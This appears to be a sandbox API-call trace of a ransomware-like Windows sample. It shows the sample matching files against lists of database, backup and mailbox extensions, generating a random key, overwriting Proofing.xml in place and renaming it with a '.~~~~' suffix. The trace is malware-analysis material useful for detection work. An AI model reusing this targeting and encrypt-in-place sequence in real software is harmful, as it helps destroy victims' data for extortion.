	[0069.020] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".VHDX") returned 0x0
	[0069.020] lstrlenW (lpString=".ndf") returned 4
	[0069.020] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".ndf") returned 0x0
	[0069.020] lstrlenW (lpString=".DB") returned 3
	[0069.020] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".DB") returned 0x0
	[0069.020] lstrlenW (lpString=".sql") returned 4
	[0069.020] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".sql") returned 0x0
	[0069.020] lstrlenW (lpString=".MYD") returned 4
	[0069.020] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".MYD") returned 0x0
	[0069.020] lstrlenW (lpString=".DBT") returned 4
	[0069.020] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".DBT") returned 0x0
	[0069.020] lstrlenW (lpString=".ACCDB") returned 6
	[0069.020] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".ACCDB") returned 0x0
	[0069.020] lstrlenW (lpString=".fdb") returned 4
	[0069.020] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".fdb") returned 0x0
	[0069.020] lstrlenW (lpString=".bak") returned 4
	[0069.021] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".bak") returned 0x0
	[0069.021] lstrlenW (lpString=".myd") returned 4
	[0069.021] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".myd") returned 0x0
	[0069.021] lstrlenW (lpString=".DTXS") returned 5
	[0069.021] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".DTXS") returned 0x0
	[0069.021] lstrlenW (lpString=".ckp") returned 4
	[0069.021] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".ckp") returned 0x0
	[0069.021] lstrlenW (lpString=".dbt") returned 4
	[0069.021] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".dbt") returned 0x0
	[0069.021] lstrlenW (lpString=".db") returned 3
	[0069.021] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".db") returned 0x0
	[0069.021] lstrlenW (lpString=".TXT") returned 4
	[0069.021] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".TXT") returned 0x0
	[0069.021] lstrlenW (lpString=".MDF") returned 4
	[0069.021] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".MDF") returned 0x0
	[0069.021] lstrlenW (lpString=".bdb") returned 4
	[0069.021] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".bdb") returned 0x0
	[0069.021] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0069.021] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0069.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a7030
	[0069.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0069.021] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a00d0) returned 1
	[0069.023] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0069.023] CryptReleaseContext (hProv=0x3a00d0, dwFlags=0x0) returned 1
	[0069.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0069.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0069.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3b24c8
	[0069.023] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=18901296119) returned 1
	[0069.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9617eb30, dwHighDateTime=0x1d60e1e)) 
	[0069.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0069.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0069.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0069.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dff8
	[0069.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0069.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dff8 | out: hHeap=0x300000) returned 1
	[0069.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3a2fa8
	[0069.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0069.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6f10
	[0069.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2fa8 | out: hHeap=0x300000) returned 1
	[0069.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6f10 | out: hHeap=0x300000) returned 1
	[0069.023] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0069.024] GetLastError () returned 0x0
	[0069.024] SetLastError (dwErrCode=0x0) 
	[0069.024] GetLastError () returned 0x0
	[0069.024] SetLastError (dwErrCode=0x0) 
	[0069.024] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0069.024] GetLastError () returned 0x0
	[0069.024] SetLastError (dwErrCode=0x0) 
	[0069.024] GetLastError () returned 0x0
	[0069.024] SetLastError (dwErrCode=0x0) 
	[0069.024] GetLastError () returned 0x0
	[0069.024] SetLastError (dwErrCode=0x0) 
	[0069.024] GetLastError () returned 0x0
	[0069.025] SetLastError (dwErrCode=0x0) 
	[0069.025] GetLastError () returned 0x0
	[0069.025] SetLastError (dwErrCode=0x0) 
	[0069.025] GetLastError () returned 0x0
	[0069.025] SetLastError (dwErrCode=0x0) 
	[0069.025] GetLastError () returned 0x0
	[0069.025] SetLastError (dwErrCode=0x0) 
	[0069.025] GetLastError () returned 0x0
	[0069.025] SetLastError (dwErrCode=0x0) 
	[0069.025] GetLastError () returned 0x0
	[0069.025] SetLastError (dwErrCode=0x0) 
	[0069.025] GetLastError () returned 0x0
	[0069.025] SetLastError (dwErrCode=0x0) 
	[0069.025] GetLastError () returned 0x0
	[0069.025] SetLastError (dwErrCode=0x0) 
	[0069.025] GetLastError () returned 0x0
	[0069.025] SetLastError (dwErrCode=0x0) 
	[0069.025] GetLastError () returned 0x0
	[0069.025] SetLastError (dwErrCode=0x0) 
	[0069.025] GetLastError () returned 0x0
	[0069.026] SetLastError (dwErrCode=0x0) 
	[0069.026] GetLastError () returned 0x0
	[0069.026] SetLastError (dwErrCode=0x0) 
	[0069.026] GetLastError () returned 0x0
	[0069.026] SetLastError (dwErrCode=0x0) 
	[0069.026] GetLastError () returned 0x0
	[0069.026] SetLastError (dwErrCode=0x0) 
	[0069.026] GetLastError () returned 0x0
	[0069.026] SetLastError (dwErrCode=0x0) 
	[0069.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0069.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3b76e0
	[0069.026] ReadFile (in: hFile=0x120, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x25dfec0*=0x32b, lpOverlapped=0x0) returned 1
	[0069.086] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffcd5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0069.087] WriteFile (in: hFile=0x120, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x32b, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x25dfec0*=0x32b, lpOverlapped=0x0) returned 1
	[0069.087] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0069.087] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0069.087] WriteFile (in: hFile=0x120, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0069.087] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0069.087] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0069.087] CloseHandle (hObject=0x120) returned 1
	[0069.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5bd0
	[0069.090] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.~~~~")) returned 1
	[0069.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5bd0 | out: hHeap=0x300000) returned 1
	[0069.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0069.091] GetLastError () returned 0x0
	[0069.091] SetLastError (dwErrCode=0x0) 
	[0069.092] GetLastError () returned 0x0
	[0069.092] SetLastError (dwErrCode=0x0) 
	[0069.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623c0 | out: hHeap=0x300000) returned 1
	[0069.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623a0 | out: hHeap=0x300000) returned 1
	[0069.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368ba0 | out: hHeap=0x300000) returned 1
	[0069.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b24c8 | out: hHeap=0x300000) returned 1
	[0069.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7030 | out: hHeap=0x300000) returned 1
	[0069.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6fb8 | out: hHeap=0x300000) returned 1
	[0069.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0069.092] RtlWakeConditionVariable () returned 0x365f70
	[0069.092] GetCurrentThreadId () returned 0x9f4
	[0069.092] GetCurrentThreadId () returned 0x9f4
	[0069.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0069.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7060 | out: hHeap=0x300000) returned 1
	[0069.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e030 | out: hHeap=0x300000) returned 1
	[0069.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7060
	[0069.092] lstrlenW (lpString=".scr") returned 4
	[0069.092] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".scr") returned 0x0
	[0069.092] lstrlenW (lpString=".cmd") returned 4
	[0069.092] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cmd") returned 0x0
	[0069.093] lstrlenW (lpString=".dll") returned 4
	[0069.093] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dll") returned 0x0
	[0069.093] lstrlenW (lpString=".bat") returned 4
	[0069.093] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bat") returned 0x0
	[0069.093] lstrlenW (lpString=".cpl") returned 4
	[0069.093] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cpl") returned 0x0
	[0069.093] lstrlenW (lpString=".sys") returned 4
	[0069.093] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sys") returned 0x0
	[0069.093] lstrlenW (lpString=".msc") returned 4
	[0069.093] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msc") returned 0x0
	[0069.093] lstrlenW (lpString=".com") returned 4
	[0069.093] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".com") returned 0x0
	[0069.093] lstrlenW (lpString=".lnk") returned 4
	[0069.093] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".lnk") returned 0x0
	[0069.093] lstrlenW (lpString=".msp") returned 4
	[0069.093] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msp") returned 0x0
	[0069.093] lstrlenW (lpString=".pif") returned 4
	[0069.093] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pif") returned 0x0
	[0069.093] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0069.093] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0069.094] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0069.094] lstrlenW (lpString=".sqb") returned 4
	[0069.094] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sqb") returned 0x0
	[0069.094] lstrlenW (lpString=".ost") returned 4
	[0069.094] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ost") returned 0x0
	[0069.094] lstrlenW (lpString=".txt") returned 4
	[0069.094] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".txt") returned 0x0
	[0069.094] lstrlenW (lpString=".mdt") returned 4
	[0069.094] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdt") returned 0x0
	[0069.094] lstrlenW (lpString=".BDB") returned 4
	[0069.094] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BDB") returned 0x0
	[0069.094] lstrlenW (lpString=".eql") returned 4
	[0069.094] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".eql") returned 0x0
	[0069.094] lstrlenW (lpString=".DBF") returned 4
	[0069.094] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBF") returned 0x0
	[0069.095] lstrlenW (lpString=".EQL") returned 4
	[0069.095] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EQL") returned 0x0
	[0069.095] lstrlenW (lpString=".FDB") returned 4
	[0069.095] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".FDB") returned 0x0
	[0069.095] lstrlenW (lpString=".EDB") returned 4
	[0069.095] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EDB") returned 0x0
	[0069.095] lstrlenW (lpString=".DACPAC") returned 7
	[0069.095] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DACPAC") returned 0x0
	[0069.095] lstrlenW (lpString=".VHD") returned 4
	[0069.095] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHD") returned 0x0
	[0069.095] lstrlenW (lpString=".DBV") returned 4
	[0069.095] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBV") returned 0x0
	[0069.095] lstrlenW (lpString=".dacpac") returned 7
	[0069.095] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dacpac") returned 0x0
	[0069.095] lstrlenW (lpString=".sdf") returned 4
	[0069.095] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sdf") returned 0x0
	[0069.095] lstrlenW (lpString=".accdb") returned 6
	[0069.096] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".accdb") returned 0x0
	[0069.096] lstrlenW (lpString=".DBX") returned 4
	[0069.096] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBX") returned 0x0
	[0069.096] lstrlenW (lpString=".MDT") returned 4
	[0069.096] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDT") returned 0x0
	[0069.096] lstrlenW (lpString=".SQB") returned 4
	[0069.096] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQB") returned 0x0
	[0069.096] lstrlenW (lpString=".vhd") returned 4
	[0069.096] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhd") returned 0x0
	[0069.096] lstrlenW (lpString=".bac") returned 4
	[0069.096] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bac") returned 0x0
	[0069.096] lstrlenW (lpString=".mdf") returned 4
	[0069.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdf") returned 0x0
	[0069.097] lstrlenW (lpString=".BAK") returned 4
	[0069.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAK") returned 0x0
	[0069.097] lstrlenW (lpString=".BAC") returned 4
	[0069.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAC") returned 0x0
	[0069.097] lstrlenW (lpString=".dbs") returned 4
	[0069.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbs") returned 0x0
	[0069.097] lstrlenW (lpString=".vhdx") returned 5
	[0069.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhdx") returned 0x0
	[0069.097] lstrlenW (lpString=".NDF") returned 4
	[0069.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".NDF") returned 0x0
	[0069.097] lstrlenW (lpString=".dat") returned 4
	[0069.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dat") returned 0x0
	[0069.097] lstrlenW (lpString=".DBS") returned 4
	[0069.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBS") returned 0x0
	[0069.097] lstrlenW (lpString=".CKP") returned 4
	[0069.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".CKP") returned 0x0
	[0069.097] lstrlenW (lpString=".edb") returned 4
	[0069.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".edb") returned 0x0
	[0069.098] lstrlenW (lpString=".PST") returned 4
	[0069.098] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".PST") returned 0x0
	[0069.098] lstrlenW (lpString=".dbf") returned 4
	[0069.098] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbf") returned 0x0
	[0069.098] lstrlenW (lpString=".SQL") returned 4
	[0069.098] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQL") returned 0x0
	[0069.098] lstrlenW (lpString=".pst") returned 4
	[0069.098] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pst") returned 0x0
	[0069.098] lstrlenW (lpString=".dbv") returned 4
	[0069.098] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbv") returned 0x0
	[0069.098] lstrlenW (lpString=".SDF") returned 4
	[0069.098] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SDF") returned 0x0
	[0069.098] lstrlenW (lpString=".dtxs") returned 5
	[0069.098] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dtxs") returned 0x0
	[0069.098] lstrlenW (lpString=".db3") returned 4
	[0069.098] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db3") returned 0x0
	[0069.098] lstrlenW (lpString=".OST") returned 4
	[0069.098] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".OST") returned 0x0
	[0069.098] lstrlenW (lpString=".dbx") returned 4
	[0069.099] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbx") returned 0x0
	[0069.099] lstrlenW (lpString=".DB3") returned 4
	[0069.099] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB3") returned 0x0
	[0069.099] lstrlenW (lpString=".DAT") returned 4
	[0069.099] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DAT") returned 0x0
	[0069.099] lstrlenW (lpString=".VHDX") returned 5
	[0069.099] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHDX") returned 0x0
	[0069.099] lstrlenW (lpString=".ndf") returned 4
	[0069.099] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ndf") returned 0x0
	[0069.099] lstrlenW (lpString=".DB") returned 3
	[0069.099] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB") returned 0x0
	[0069.099] lstrlenW (lpString=".sql") returned 4
	[0069.099] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sql") returned 0x0
	[0069.099] lstrlenW (lpString=".MYD") returned 4
	[0069.099] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MYD") returned 0x0
